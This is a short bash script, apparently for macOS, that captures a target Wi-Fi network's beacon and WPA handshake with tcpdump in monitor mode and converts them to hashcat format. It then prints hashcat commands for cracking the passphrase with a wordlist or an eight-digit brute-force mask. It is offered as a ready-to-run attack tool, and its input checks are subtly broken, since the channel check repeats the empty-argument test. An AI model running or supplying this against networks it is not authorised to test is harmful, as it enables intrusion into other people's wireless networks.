getcap

#!/bin/bash
if [ "$*" == "" ]; then
    echo "No arguments provided"
    exit 1
fi

if [[ $# -eq 0 ]] ; then
    echo 'Provide a bssid'
    exit 1
fi

if [[ $# -eq 0 ]] ; then
  echo 'Provide a channel'
  exit 1
fi


BSSID=$1
CHANNEL=$2

sudo airport -z
sudo airport -c$CHANNEL
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en1 -w beacon.cap
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en1 -w handshake.cap
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap
cap2hccapx.bin capture.cap capture.hccapx
rm -f beacon.cap handshake.cap capture.cap capture.cap
echo "Now you can run: hashcat -m 2500 capture.hccapx ~/.wordlist/..."
echo "Or hashcat -m 2500 -a3 capture.hccapx ?d?d?d?d?d?d?d?d"
echo "d = digit , l = lowercase letter, u = uppercase letter, ?s = special chars, ?a = ?l?u?d?s, ?b = 0x00 - 0xff"